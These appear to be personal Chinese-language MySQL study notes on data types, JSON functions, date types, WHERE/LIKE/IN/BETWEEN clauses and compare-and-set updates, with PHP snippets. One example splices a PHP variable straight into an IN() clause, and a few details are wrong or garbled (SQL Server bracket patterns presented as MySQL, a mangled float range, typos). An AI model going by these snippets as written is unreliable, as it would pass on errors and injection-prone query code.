这个显示宽度没限制,写100没问题,但插入数据时实际起控制作用的还是数据类型的取值范围。如果不写显示宽度就会用系统默认的,比如INT的默认显示宽度是11,最高也就能表示10位大小的数值,但有符号的也就是负数时符号位也占一位。
浮点型
• float(size,d) 单精度浮点型,4字节(bytes),size规定最大值,d规定小数点右侧的数字的最大值
范围(有符号)(-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38),范围(无符号)0,(1.175 494 351 E-38,3.402 823 466 E+38)
• double(size,d) 双精度浮点数,8字节(bytes)
d表示浮点型数据小数点之后的精度,假如超过d位则四舍五入,即1.233四舍五入为1.23,1.237四舍五入为1.24
size表示浮点型数据总共的位数,float(5,2)表示总共支持五位,即小数点前只支持三位数,超过3位的数据会插入失败
不指定M、D的时候会按照实际的精度来处理。
范围(有符号)(-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308),范围(无符号)0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308)
定点型
• decimal(5,2) 准确值,总共5位数字,2位小数
float、double类型存在精度丢失问题,即写入数据库的数据未必是插入数据库的数据,而decimal无论写入数据中的数据是多少都不存在精度丢失问题,这就是引入decimal类型的原因
decimal类型常见于银行系统、互联网金融系统等对小数点后的数字比较敏感的系统中,常用来保存货币、价格、钱
float/double在db中存储的是近似值,而decimal则是以字符串形式进行保存的
decimal(M,D)的规则和float/double相同,但区别在float/double在不指定M、D时默认按照实际精度来处理,而decimal在不指定M、D时默认为decimal(10,0)
对DECIMAL(M,D),如果M>D,为M+2否则为D+2,范围(有符号)依赖于M和D的值,范围(无符号)依赖于M和D的值,占用空间由定义的宽度决定,可用于存储比BIGINT更大的整数数据
【 文本数据类型 】
文本即字符的集合,字符集,字符校对规则,字符集编码utf8/gbk/gb2312/big5
gb2312 简体,1个汉字占2字节空间
big5 繁体,2字节
gbk 简体+繁体,2字节
utf8 基于Unicode,可以在一个页面上体现多语种,英文1个字节,汉字3个字节,
collate utf8_general_ci通用不分大小写的校对规则
unicode国际标准化组织制定涵盖世界上所有语种和符号的编码方案
建议使用utf8mb4字符集,万国码,无乱码风险;与utf8编码相比,能支持Emoji表情
[非二进制]:
• char(size) 支持固定长度的字符串.(可包含字母、数字以及特殊符号),size参数规定固定长度
• varchar(size) 支持可变长度的字符串.(可包含字母、数字以及特殊符号),size参数规定最大长度
• tinytext 支持可变长度的字符串,最大长度是255个字符
• text 不能有默认值
• mediumtext
• longtext
char是固定长度的字符类型,分配多少空间就占用多长空间,长度范围0~255且与编码方式无关,不够的用空格补足,输出时空格被删除
Varchar是可变长度的字符类型,内容有多大就占用多大的空间,能有效节省空间,在utf8编码的数据库中其长度范围为0~21844
char是固定长度,所以它的处理速度比varchar快,但缺点是浪费存储空间,不能在行尾保存空格
varchar是非定长,必须先查找长度,然后进行数据的提取,比char定长类型多了一个步骤,所以效率低一些
在MySQL中MyISAM建议使用固定长度代替可变长度列;InnoDB建议使用varchar类型,因为在InnoDB中内部行存储格式没有区分固定长度和可变长度
表字段phone_number电话号码建议使用varchar(20),区号或国家代号可能出现+-();不会有谁用手机号做运算吧;varchar可以支持模糊查询
`mobile` char(11) DEFAULT '' COMMENT '手机号',
[ 二进制 ]
与字符集无关,常用来保存声音、图像等数据,实际常保存其路径在数据表中
• blob 支持可变长度的字符串,最大长度是65535个字符,不能有默认值
• mediumblob 支持可变长度的字符串,最大长度是16777215个字符
• longblob 支持可变长度的字符串,最大长度是4294967295个字符
强烈反对在数据库中存放BLOB类型数据,虽然数据库提供了这样的功能,但这不是他所擅长的,更应该让合适的工具做他擅长的事情才能将其发挥到极致
尽量不使用TEXT、BLOB类型,会浪费更多的磁盘和内存空间,非必要的大量的大字段查询会淘汰掉热数据,导致内存命中率急剧降低,影响数据库性能
blob与text在执行了大量删除操作时候,有性能问题,产生大量的"空洞",为提高性能建议定期optimize table对这类表进行碎片整理。
【 json类型 】
在MySQL数据库中直到5.7版本才开始引入JSON数据类型,在此之前如果想在表中保存JSON格式类型的数据,则需要依靠varchar或text之类的数据类型,如果在低于5.7版本的数据库中使用了JSON类型来建表显然是不会成功的
在MySQL中创建具有JSON数据列的表,其实和数据类型没有太大区别
CREATE TABLE tab_base_info (
id BIGINT NOT NULL PRIMARY KEY auto_increment,
content json
);
新增数据
INSERT INTO tab_base_info (content) VALUES ( '{"author": "Captain&D", "blog": "https://www.cnblogs.com/captainad"}' );
这里需要提醒的是:
JSON列存储的数据要么是NULL,要么必须是JSON格式数据,否则会报错。
JSON数据类型是没有默认值的(声明时"DEFAULT NULL")
JSON数据类型意义
没有JSON数据类型的支持,一样可通过varchar或text等类型保存这一格式的数据,为什么还专门增加这一数据格式的支持呢?其中肯定有较varchar或text来存储此类型更优越的地方
保证了JSON数据类型的强校验,JSON数据列会自动校验存入此列的内容是否符合JSON格式,非正常格式则报错,而varchar类型和text等类型本身是不存在这种机制的。
MySQL同时提供了一组操作JSON类型数据的内置函数。
更优化的存储格式,存储在JSON列中的JSON数据会被转成内部特定的存储格式,允许快速读取。
可以基于JSON格式的特征支持修改特定的键值,即不需要把整条内容拿出来放到程序中遍历然后寻找替换再塞回去,MySQL内置的函数允许通过一条SQL语句就能搞定
thinkphp5 JSON类型数据查询(mysql V5.7)
Db::table('think_user')->where('info$.email','thinkphp@qq.com')->find(); // info字段为json类型
MySQL关于JSON的内置函数
MySQL关于JSON数据格式的操作提供了很多高效率的内置函数,可以从MySQL官网上找到很详细的介绍和使用说明,这些内置函数支持创建、查找、替换和返回值等相关的操作
替换指定内容的操作就可以使用JSON_REPLACE()函数,不过最后实现通过纯SQL语句执行最终的内容替换,还需要通过执行UPDATE语句,比如:
UPDATE tab_base_info SET content = json_replace(content, '$.author', "tom") WHERE id = 1;
其中"$.***"表示找到JSON内容中匹配的修改字段
创建一个user表,其中info字段用来存储用户的基础信息。要将字段定义成JSON类型数据非常简单,直接字段名后接JSON即可
CREATE TABLE user (
id INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(30) NOT NULL,
info JSON
);
INSERT INTO user (`name`, `info`) VALUES('lilei', '{"sex": "male", "age": 18, "hobby": ["basketball", "football"], "score": [85, 90, 100]}');
除了自己拼JSON之外,还可以调用MySQL的JSON创建函数进行创建。
JSON_OBJECT:快速创建JSON对象,奇数列为key,偶数列为value,使用方法JSON_OBJECT(key,value,key1,value1)
JSON_ARRAY:快速创建JSON数组,使用方法JSON_ARRAY(item0, item1, item2)
INSERT INTO user (`name`, `info`) VALUES('hanmeimei', JSON_OBJECT(
'sex', 'female',
'age', 18,
'hobby', JSON_ARRAY('badminton', 'sing'),
'score', JSON_ARRAY(90, 95, 100)
));
查询数据
JSON_EXTRACT():根据Path获取部分JSON数据,使用方法JSON_EXTRACT(json_doc, path[, path] ...)
->:JSON_EXTRACT() 的等价写法
->>:JSON_EXTRACT() 和 JSON_UNQUOTE() 的等价写法
JSON_CONTAINS():查询JSON数据是否在指定Path包含指定的数据,包含则返回1,否则返回0。使用方法JSON_CONTAINS(json_doc, val[, path])
JSON_CONTAINS_PATH():查询是否存在指定路径,存在则返回1,否则返回0。one_or_all只能取值"one"或"all",one表示只要有一个存在即可,all表示所有的都存在才行。使用方法JSON_CONTAINS_PATH(json_doc, one_or_all, path[, path] ...)
JSON_KEYS():获取JSON数据在指定路径下的所有键值。使用方法JSON_KEYS(json_doc[, path]),类似JS中的Object.keys()方法。
JSON_SEARCH():查询包含指定字符串的Paths,并作为一个JSON Array返回。查询的字符串可以用LIKE里的'%'或'_'匹配。使用方法JSON_SEARCH(json_doc, one_or_all, search_str[, escape_char[, path] ...]),类似js中的findIndex()操作。
返回用户的年龄和性别,获取JSON数据中的部分内容,并按照正常的表字段进行返回,这块可以使用JSON_EXTRACT或等价的->操作都可以。
可以看到sex返回的数据都带有引号,可以使用JSON_UNQUOTE()或直接使用->>就可以把引号去掉了。
mysql> SELECT `name`, JSON_EXTRACT(`info`, '$.age') as `age`, `info`->'$.sex' as sex FROM `user`;
MySQL通过这种字符串的Path描述帮助映射到对应的数据。和js中对象的操作比较类似,通过.获取下一级的属性,通过[]获取数组元素。
不一样的地方在于需要通过$表示本身,这个也比较好理解。另外就是可以使用*和**两个通配符,比如.*表示当前层级的所有成员的值,[*]则表示当前数组中所有成员值。**类似LIKE一样可以接前缀和后缀,如a**b表示的是以a开头b结尾的路径
返回喜欢篮球的男性用户
mysql> SELECT `name` FROM `user` WHERE JSON_CONTAINS(`info`, '"male"', '$.sex') AND JSON_SEARCH(`info`, 'one', 'basketball', null, '$.hobby');
JSON_CONTAINS() 查询字符串由于不带类型转换的问题字符串需要使用加上 "" 包裹查询,或者使用 JSON_QUOTE('male') 也可以。
如果使用的是 MySQL 8 的话,也可以使用新增的 JSON_VALUE() 来代替 JSON_CONTAINS(),新方法的好处是会带类型转换,避免刚才双引号的尴尬问题。不需要返回的路径的话,JSON_SEARCH() 在这里也可以使用新增的 MEMBER OF 或者 JSON_OVERLAPS() 方法替换。
mysql> SELECT `name` FROM `user` WHERE JSON_VALUE(`info`, '$.sex') = 'male' AND 'basketball' MEMBER OF(JSON_VALUE(`info`, '$.hobby'));
修改数据
MySQL提供的JSON操作函数中,和修改操作相关的方法主要如下:
JSON_APPEND/JSON_ARRAY_APPEND:这两个名字是同一个功能的两种叫法,MySQL5.7为JSON_APPEND,MySQL8更新为JSON_ARRAY_APPEND,并且之前的名字被废弃。该方法如同字面意思,给数组添加值。使用方法JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...)
JSON_ARRAY_INSERT:给数组添加值,区别于JSON_ARRAY_APPEND()可以在指定位置插值。使用方法JSON_ARRAY_INSERT(json_doc, path, val[, path, val] ...)
JSON_INSERT/JSON_REPLACE/JSON_SET:以上三个方法都是对JSON插入数据的,他们的使用方法都为JSON_[INSERT|REPLACE|SET](json_doc, path, val[, path, val] ...),不过在插入原则上存在一些差别。JSON_INSERT:当路径不存在才插入JSON_REPLACE:当路径存在才替换 JSON_SET:不管路径是否存在
JSON_REMOVE:移除指定路径的数据,使用方法JSON_REMOVE(json_doc, path[, path] ...)
由于JSON_INSERT,JSON_REPLACE,JSON_SET和JSON_REMOVE几个方法支持属性和数组的操作,所以前两个JSON_ARRAY方法用的会稍微少一点
修改用户的年龄
mysql> UPDATE `user` SET `info` = JSON_REPLACE(`info`, '$.age', 20) WHERE `name` = 'lilei';
mysql> SELECT JSON_VALUE(`info`, '$.age') as age FROM `user` WHERE `name` = 'lilei';
修改用户的爱好
mysql> UPDATE `user` SET `info` = JSON_ARRAY_APPEND(`info`, '$.hobby', 'badminton') WHERE `name` = 'lilei';
mysql> SELECT JSON_VALUE(`info`, '$.hobby') as hobby FROM `user` WHERE `name` = 'lilei';
删除用户的分数
mysql> UPDATE `user` SET `info` = JSON_REMOVE(`info`, '$.score[0]') WHERE `name` = 'lilei';
mysql> SELECT `name`, JSON_VALUE(`info`, '$.score') as score FROM `user` WHERE `name` = 'lilei';
删除这块和之前修改操作类似,没有什么太多需要说的。但是对数组进行操作很多时候我们可能就是想删值,但却不知道这个值的Path是什么,这个时候就需要利用之前讲到的JSON_SEARCH()方法,它是根据值去查找路径的。比如要删除lilei兴趣中的badminton选项可以这么写。
mysql> UPDATE `user` SET `info` = JSON_REMOVE(`info`, JSON_UNQUOTE(JSON_SEARCH(`info`, 'one', 'badminton'))) WHERE `name` = 'lilei';
mysql> SELECT JSON_VALUE(`info`, '$.hobby') as hobby FROM `user` WHERE `name` = 'lilei';
这里需要注意由于JSON_SEARCH不会做类型转换,所以匹配出来的路径字符串需要进行JSON_UNQUOTE()操作。另外还有非常重要的一点是JSON_SEARCH无法对数值类型数据进行查找,也不知道这个是Bug还是Feature。这也是为什么我没有使用score来进行举例而是换成了hobby的原因。如果数值类型的话目前只能取出来在代码中处理了。
mysql> SELECT JSON_VALUE(`info`, '$.score') FROM `user` WHERE `name` = 'lilei';
mysql> SELECT JSON_SEARCH(`info`, 'one', 90, null, '$.score') FROM `user` WHERE `name` = 'lilei';
【 日期时间数据类型 】
1、date 4字节 YYYY-mm-dd
2、time 3字节 hh:mm:ss
3、year 1字节 yy和yyyy(默认),yyyy的范围是1901~2155,yy的范围是1970~2069
CREATE TABLE tmp( y YEAR );
INSERT INTO tmp VALUES(2010),('2010'),("2010"); // 插入完整年份时用字符串和数字代表YEAR值效果一样
INSERT INTO tmp VALUES('0'),('00'),('77'),('10');// 2000,2000,1977,2010
INSERT INTO tmp VALUES(0),(00),(77),(10); // 0000,0000,1977,2010
4、datetime 8字节 YYYY-mm-dd HH:ii:ss
允许为空值,可以自定义值,系统不会自动修改其值,原样输入和输出,与时区无关
可以在指定datetime字段的值的时候使用now()变量来自动插入系统的当前时间
5、timestamp 4字节 YYYY-mm-dd HH:ii:ss
timestamp不能为空,默认值为CURRENT_TIMESTAMP()即当前系统时间,默认值可为"0000-00-00 00:00:00",TIMESTAMP值不能早于1970或晚于2037
TIMESTAMP把客户端插入的时间从当前时区转化为UTC进行存储,查询时将其又转化为客户端当前时区进行返回
数据库会自动修改其值,所以在插入记录时不需要指定timestamp字段的名称和timestamp字段的值,只需要在设计表的时候添加一个timestamp字段即可,插入后该字段的值会自动变为当前系统时间;默认以后任何时间修改表中的记录时,对应记录的timestamp值会自动被更新为当前的系统时间
如果需要可以设置timestamp不自动更新,通过设置DEFAULT CURRENT_TIMESTAMP可以实现
timestamp只有在设置default current_timestamp默认值之后插入的值为null时mysql会取当前系统时间,否则为null
表建议增加create_time和update_time,以记录某条数据的创建时间和修改时间,增加这两个字段方便统计和归档
create_time timestamp default current_timestamp comment "创建时间",
update_time timestamp default current_timestamp on update current_timestamp comment "修改时间",
datetime与timestamp两种类型的区别:
datetime占8个字节,timestamp占4个字节
由于大小的区别,datetime与timestamp能存储的时间范围也不同,datetime的存储范围为1000-01-01 00:00:00——9999-12-31 23:59:59,timestamp存储的时间范围为19700101080001——20380119111407
datetime默认值为空,当插入的值为null时该列的值就是null;timestamp默认值不为空,当插入的值为null时mysql会取当前时间
datetime存储的时间与时区无关,timestamp存储的时间及显示的时间都依赖于当前时区
尽量使用timestamp类型,因为其存储空间只需要datetime类型的一半,且日期类型中只有它能够和实际时区相对应。对于只需要精确到某一天的数据类型建议使用date类型,其存储空间只需要3个字节
使用TIMESTAMP或DATETIME类型存储时间,不要用字符串存储日期类型(无法利用内置日期函数且占用更多空间)
SQL: 结构化查询语言,用于访问和处理数据库的标准计算机语言
Structured Query Language 结构化查询语言用于存取数据以及查询、更新和管理关系数据库系统 DBMS - 数据库管理系统(Database Management System) RDBMS - 关系数据库管理系统(Relational Database Management System) SQL语句主要可以划分为以下3个类别。 1、DDL(Data Definition Languages)语句 数据定义语言,这些语句定义了不同的数据段、数据库、表、列、索引等数据库对象的定义,常用的语句关键字主要包括create、drop、alter等。 DDL语句更多的被数据库管理员(DBA)所使用,一般的开发人员很少使用 2、DML(Data Manipulation Language)语句 数据操纵语句,用于添加、删除、更新和查询数据库记录(增添改查),并检查数据完整性,常用的语句关键字主要包括insert、delete、udpate和select等。 3、DCL(Data Control Language)语句: 数据控制语句,用于控制不同数据段直接的许可和访问级别的语句。这些语句定义了数据库、表、字段、用户的访问权限和安全级别。主要的语句关键字包括grant、revoke等。 SQL语言包括哪几部分?每部分都有哪些操作关键字? SQL语言包括数据定义(DDL)、数据操纵(DML),数据控制(DCL)和数据查询(DQL)四个部分。 数据定义: Create Table,Alter Table,Drop Table, Create/Drop Index等 数据操纵: Select,insert,update,delete, 数据控制: grant,revoke 数据查询: select CRUD结构化查询语言SQL crud是指在做计算处理时的增加(Create)、读取(Retrieve)、更新(Update)和删除(Delete)几个单词的首字母简写,crud主要被用在描述软件系统中数据库或持久层的基本操作功能 增 insert 删 delete 改 update 查 select 当字段名与MySQL保留字冲突时可以用字符"`"将字段名括起来: select `from` from table;使用sprintf()格式化sql查询语句,但仍然不能防止sql注入
1. SELECT 列名,列名 FROM 表名 -从数据库中选取数据,返回一个结果集
select * from user;
select * from my_db01.user;
select username,password,sex from user;
避免select * from t,用具体字段列表代替"*",*返回不需要的字段,无法使用覆盖索引,造成网卡压力,且表字段一旦更新,但model层没有来得及更新的话,系统会报错。
从表中读取越多的数据,查询变得更慢,增加磁盘需要操作的时间,在数据库服务器与WEB服务器独立分开的情况下将会经历漫长的网络延迟,仅仅是因为数据不必要的在服务器之间传输。
select if(sex,"男","女"),username,sex from user; //sex为真则输出男否则女,新增显示键名是if(sex,"男","女")的字段
select if(sex,"男","女") as usersex,username from user; //usersex为if(sex,"男","女")字段的别名,关联查询多个表时有相同的字段起别名来区别
select concat("姓名:",username,",性别:",sex) from user; //字符串与字段连接,输出姓名: 张三,性别: 男
select concat("姓名:",username,",性别:",sex) as userinfor from user; //userinfor别名,直接作为键名使用
select concat("姓名:",username,",性别:",if(sex,"男","女")) as userinfor from user;
【 where子句 】
where子句可以运用于sql的select、delete或update命令
select field1,field2,...fieldn from table_name1,table_name2... [where condition1 [and [or]] condition2.....
select 列名 from 表名 where 列名 运算符 值
select `uid`,`username` from members where `username` = "admin";
WHERE子句的字符串比较不区分大小写,可使用BINARY关键字来设定WHERE子句的字符串比较是区分大小写的
SELECT * from runoob_tbl WHERE BINARY runoob_author='runoob.com';
WHERE表达式中运算符:
= 等于
!= 不等于,也写作 <>
> 大于
< 小于
>= 大于或等于
<= 小于或等于
BETWEEN … AND … 介于某个范围之内,例: WHERE age BETWEEN 20 AND 30
NOT BETWEEN …AND … 不在某个范围之内
IN(项1,项2,…) 在指定项内,例: WHERE city IN('beijing','shanghai')
NOT IN(项1,项2,…) 不在指定项内
LIKE 搜索匹配,常与模式匹配符配合使用
NOT LIKE LIKE的反义
IS NULL 空值判断符
IS NOT NULL 非空判断符
NOT、AND、OR 逻辑运算符,分别表示否、并且、或,用于多个逻辑连接,优先级: NOT > AND > OR
% 模式匹配符,表示任意字串,例: WHERE username LIKE '%user'
select 列名 from 表名 where 列 运算符 值 AND/OR/||/&& 列 运算符 值
select * from user where age > 4 and age < 14; // 查询的出来的结果集中的age处于4和14之间,不包括4和14
select * from user where age > 4 or age < 3; // 查询的出来的结果集中的age有大于4的也有小于3的,不包括4和3
select * from user where not age > 4; // 查询的出来的结果集中的age没有大于4,可以等于4
select * from user where name='Tom' and (age=22 OR age=23)
if($extract_day !== ''){
if(!$extract_day) $this->error("今天的提现次数已达上限");
$extracts = Extract::where(['uid' => $this->auth->id])->field(['id','createtime'])->order('id dec')->limit($extract_day)->select();
$count = 0;
foreach ($extracts as $item) {
if($item['createtime'] > strtotime(date('Y-m-d'))) $count++;
if($count >= $extract_day) $this->error("今日提现次数已达上限");
}
}
【 where语句中包含or时可能会导致索引失效 】
使用or并不是一定会使索引失效,需要看or左右两边的查询列是否命中相同的索引。
假设USER表中的user_id列有索引,age列没有索引。
下面这条语句其实是命中索引的(据说是新版本的MySQL才可以,如果你使用的是老版本的MySQL,可以使用explain验证下)。
select * from `user` where user_id = 1 or user_id = 2; // type: range
但是这条语句是无法命中索引的。
select * from `user` where user_id = 1 or age = 20; // type: all
假设age列也有索引的话,依然是无法命中索引的。
select * from `user` where user_id = 1 or age = 20;
因此才有建议说,尽量避免使用or语句,可以根据情况尽量使用union all或in来代替,这两个语句的执行效率也比or好些。
【 避免循环中访问数据库 】
SELECT Classes.class, Users.Name FROM Classes JOIN Users on Classes.Teacher = Users.ID
将循环中访问数据库的代码提到循环外面
增加必要的统计表
需求:有两个数据表,一个小组类型表,一个小组表,需查出小组类型下的小组,当然这里可以使用关联查询
$groupType = GroupType::select('id','title as name')->get()->toArray(); // //查出小组的类型
$groupTypeIds = array_map(function ($item){ //取小组类型id的集合数组
return $item['id'];
},$groupType);
//以小组类型分组查出小组类型和小组
$group = Group::select('id','name','typeId') ->whereIn('typeId',$groupTypeIds) ->get() ->groupBy('typeId') ->toArray();
foreach ($groupType as $k1 => $v1) {
$groupType[$k1]['children'] = array_key_exists($v1['id'], $group) ? $group[$v1['id']] : [];
}
优化方案
1、使用关联查询
联合查询所有数据行,再循环处理按学生归类,查询次数1
$list = $this
->field('s.id,s.name,u.nickname,u.avatar')
->alias('s')
->leftJoin('user_student us', 's.id = us.student_id')
->leftJoin('user u', 'us.user_id = u.id')
->where(['s.class_id' => $classId])
->paginate([ 'list_rows' => $size, 'page' => $page, ]);
if ($list->isEmpty()) return ['data' => '', 'code' => 20404, 'msg' => '没有数据'];
$temp = [];
foreach ($list as $k => $value) {
$temp[$value['id']] = ['id' => $value['id'], 'name' => $value['name']];
$temp[$value['id']]['parent_list'][] = $value;
}
$data = $list->toArray();
$data['data'] = array_values($temp);
return ['data' => $data, 'code' => 0, 'msg' => 'success'];
2、使用whereIn查询
先查学生列表,再查出家长列表,最后循环处理数据,查询次数2
3、thinkphp可以使用模型一对多关联查询
关联模型后使用关联预载入with方法,实际sql也是wherein方式
【 并发扣款,如何保证数据的一致性?】
用户购买商品的过程中要对余额进行查询与修改,大致的业务流程如下:
第一步,从数据库查询用户现有余额SELECT money FROM t_yue WHERE uid=$uid;不妨设查询出来的$old_money=100元。
第二步,业务层实施业务逻辑计算,比如:
(1)先查询购买商品的价格,例如是80元;
(2)再查询产品是否有活动及活动折扣,例如是9折;
(3)比对余额是否足够,足够时才往下走;
if($old_money> 80*0.9){
$new_money=$old_money-80*0.9=28
} else {
return "Not enough minerals";
}
第三步,将数据库中的余额进行修改,UPDATE t_yue SET money=$new_money WHERE uid=$uid;
在并发量低的情况下,这个流程没有任何问题,原有金额100元,购买了80元的九折商品(72元),剩余28元。
在分布式环境中,如果并发量很大,这种"查询+修改"的业务有一定概率出现数据不一致,极限情况下可能出现这样的异常流程:
步骤一,业务1和业务2并发查询余额100元,这些并发查询是在不同的站点实例/服务实例上完成的,进程内互斥锁肯定解决不了。
步骤二,业务1和业务2并发进行逻辑计算,算出各自业务的余额,假设业务1算出的余额是28元,业务2算出的余额是38元。
步骤三,业务1对数据库中的余额先进行修改,设置成28元。业务2对数据库中的余额后进行修改,设置成38元。
此时异常出现了,原有金额100元,业务1扣除了72元,业务2扣除了62元,最后剩余38元。假设业务1先写回余额,业务2再写回余额。
常见的解决方案?
对于此案例,同一个用户并发扣款时有小概率会出现异常,可以对每一个用户进行分布式锁互斥,例如:在redis/zk里抢到一个key才能继续操作,否则禁止操作。
这种悲观锁方案确实可行,但要引入额外的组件(redis/zk),并且会降低吞吐量。
for update是悲观锁,效率低,降低吞吐量,第二总是总是产生死锁
可以用版本号乐观锁
真正面向用户的并发场景,悲观锁和乐观锁均不是合适选择,前者性能太差,后者用户体验太差,明明有钱,为什么不给我扣?技术方案要考虑场景和用户体验
使用乐观锁时为避免ABA问题最好维护一个版本号字段,不过高并发写的情况下还是使用要悲观锁好一些
对于小概率的不一致,有没有乐观锁的方案呢?
对并发扣款进行进一步的分析发现:
(1)业务1写回时,旧余额100,这是一个初始状态;新余额28,这是一个结束状态。理论上只有在旧余额为100时,新余额才应该写回成功。
而业务1并发写回时,旧余额确实是100,理应写回成功。
(2)业务2写回时,旧余额100,这是一个初始状态;新余额28,这是一个结束状态。理论上只有在旧余额为100时,新余额才应该写回成功。
可实际上,这个时候数据库中的金额已经变为28了,所以业务2的并发写回,不应该成功。
如何低成本实施乐观锁?
在set写回的时候,加上初始状态的条件compare,只有初始状态不变时才允许set写回成功,Compare And Set(CAS),是一种常见的降低读写锁冲突,保证数据一致性的方法。
此时业务要怎么改,使用CAS(Compare and Set)解决高并发时数据一致性问题,只需要在进行set操作时,compare初始值,如果初始值变换,不允许set成功。
CAS是英文单词Compare And Swap的缩写,翻译过来就是比较并替换。
CAS机制当中使用了3个基本操作数:内存地址V,旧的预期值A,要修改的新值B。
更新一个变量的时候,只有当变量的预期值A和内存地址V当中的实际值相同时才会将内存地址V对应的值修改为B。
Synchronized属于悲观锁,悲观地认为程序中的并发情况严重,所以严防死守。CAS属于乐观锁,乐观地认为程序中的并发情况不那么严重,所以让线程不断去尝试更新。
CAS的优缺点:
乐观锁避免了悲观锁独占对象的现象,同时也提高了并发性能,乐观锁是对悲观锁的改进,虽然它也有缺点,但它确实已经成为提高并发性能的主要手段,而且jdk中的并发包也大量使用基于CAS的乐观锁。但它也有缺点,如下:
1.CPU可能开销较大
在并发量比较高的情况下,如果许多线程反复尝试更新某一个变量,却又一直更新不成功,循环往复,会给CPU带来很大的压力。
2.不能保证代码块的原子性
CAS机制所保证的只是一个变量的原子性操作,而不能保证整个代码块的原子性。比如需要保证3个变量共同进行原子性的更新,就不得不使用悲观锁了。
3.ABA问题。
CAS的核心思想是通过比对内存值与预期值是否一样而判断内存值是否被改过,但这个判断逻辑不严谨,假如内存值原来是A,后来被一条线程改为B,最后又被改成了A,所以CAS成功。但实际上这时的现场已经和最初不同了,CAS认为此内存值并没有发生改变,但实际上是有被其他线程改过的,这种情况对依赖过程值的情景的运算结果影响很大。解决的思路是引入版本号,每次变量更新都把版本号加一,CAS操作时都对比此版本号
对应到业务,即在set的时候,加上初始条件的比对即可
UPDATE t_yue SET money=$new_money WHERE uid=$uid;
升级为:
业务1执行:
UPDATE t_yue SET money=28 WHERE uid=$uid AND money=100;
业务2执行:
UPDATE t_yue SET money=38 WHERE uid=$uid AND money=100;
这两个操作同时进行时,只可能有一个执行成功。
怎么判断哪个并发执行成功,哪个并发执行失败呢?
set操作,其实无所谓成功或者失败,业务能通过affect rows来判断:
写回成功的affect rows为1,写回失败的affect rows为0
【 where like 】
select 列名 FROM 表名 where 列名 LIKE 'pattern' // 搜索列中的指定模式,搜索匹配的模式
使用like模糊查询会导致索引失效,在数据量大的时候会有性能问题
通过explain执行计划发现,使用like模糊查询时不以%和_开头查询索引还是有效的,以%或_开头查询索引失效
通配符: 必须与LIKE运算符一起使用,通配符是不能匹配到字段为NULL的记录的
% 替代一个或多个字符
_ 替代一个字符,可以代表一个中文字符
escape 如果要查找%或_,使用escape,转义字符后面的%或_就不作为通配符了
[charlist] 字符列表中的任何一个
[^charlist] 排除字符列表中的任何一个
[!charlist] 排除字符列表中的任何一个
select * from user where name like 'J%' // 名字以J开头的,%通配符
select * from user where name like '%n' // 以n结尾
select * from user where name like '%ea%' // 中间是ea
select * from user where name not like'%ea%' // 中间不包含ea
select * from user where username like '__'; // 刷选username为两个字符的数据
select * from user where username like 'huxia_';
select * from user where username like 'h_xiao';
select username from gg_user where username like '%xiao/_%' escape '/';
select username from gg_user where username like '%xiao/%%' escape '/';
[ ]:表示括号内所列字符中的一个(类似正则表达式)。指定一个字符、字符串或范围,要求所匹配对象为它们中的任一个。
SELECT * FROM [user] WHERE u_name LIKE '[张李王]三'; // 找出"张三"、"李三"、"王三"(而不是"张李王三");
SELECT * FROM [user] WHERE u_name LIKE '老[1-9]' // 将找出"老1"、"老2"、……、"老9";
SELECT * FROM [user] WHERE u_name LIKE '老[a-e]' // 将找出"老a"、"老b"、……、"老e";
SELECT * FROM [user] WHERE u_name LIKE '老[^1-4]'; // 排除"老1"到"老4",寻找"老5"、"老6"
默认like匹配的字符串是不区分大小写的,like "test1"和like "TEST1"匹配的结果是一样的,要区分大小写需要加入binary关键字
select * from yyTest where username like binary "TEST_";
select * from table where name like concat(#{name},'%')
比如根据用户名或手机号模糊查找用户
(us.nick_name LIKE CONCAT('%',#{keyWord},'%') OR us.phone LIKE CONCAT('%',#{keyWord},'%'))
【 where find_in_set 】
find_in_set(str,strlist)函数不同于like模糊查询,它是以","来分隔值
查询字段(strlist)中包含(str)的结果,返回结果为null或记录
str 要查询的字符串
strlist 字段名,参数以","分隔如(1,2,6,8)
// 查询以逗号分隔字符串类型的字段rules值中包含'1'的数据
select * from think_auth_group where find_in_set('1',rules);
【 where in where exists 】
in和not in要慎用,会导致全表扫描,对于连续的数值能用between就不要用in,很多时候用exists代替in是一个好的选择
select 列名 from 表名 where 列名 IN (value1,value2……) // 规定多个值,逗号分隔
select * from user where uid in (2,3,5)
select * from table where uname in('1','2','3'); // 使用字符串
select * from user where uid in(1,2,'3','c')
select id from t where num in(1,2,3)
select id from t where num between 1 and 3 // 对于连续的数值能用between就不要用in
$_str = '1,2,3'; // 使用变量
select * from table where uname in($_str);
select * from table where uname in(select uname from user where status=0); // 使用记录集
select * from table where exists(select 1 from user where uname=table.uname) // 用exists代替in
in使用数组,其实也就是使用字符串方法,只不过把需要把数组转换成像使用字符串方法那样的字符串形式
【 where between and 】
范围查找,如指定时间段内的数据,BETWEEN x AND y语句的有效范围包含x和y, 也可用> and <
select 列名 from 表名 where 列名 between value1 and value2 // 范围,不同数据库对于是否包含value1,value2不同
select 列名 from 表名 where 列名 not between value1 and value2
SELECT * FROM user WHERE uid BETWEEN 2 AND 5; // uid为2-5,包含2和5
select * from user where name between 'Anna' and 'John' // 字母顺序,除了数值类型BETWEEN也支持字符串范围
SELECT * FROM user WHERE username BETWEEN 'a' AND 'k' // 包括a和k
int时间戳格式效率最优
SELECT * FROM table WHERE column_time BETWEEN 1218196800 AND 1230739199 // int时间戳格式
SELECT * FROM table WHERE column_time BETWEEN '2008-08-08' AND '2009-01-01' // DATE格式
SELECT * FROM table WHERE column_time BETWEEN '2008-08-08 20:00:00' AND '2008-12-31 23:59:59' // DATETIME格式
SELECT * FROM table WHERE column_time >= '2008-08-08 20:00:00' // DATETIME格式,查询到当前时刻的数据,对于查询到当前时间的数据,建议使用 >= 运算符
【 limit 】
LIMIT [位置偏移量, ]行数
位置偏移量(可选)指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推...
第二个参数为"行数"即指示返回的记录条数
LIMIT n 等价于 LIMIT 0,n
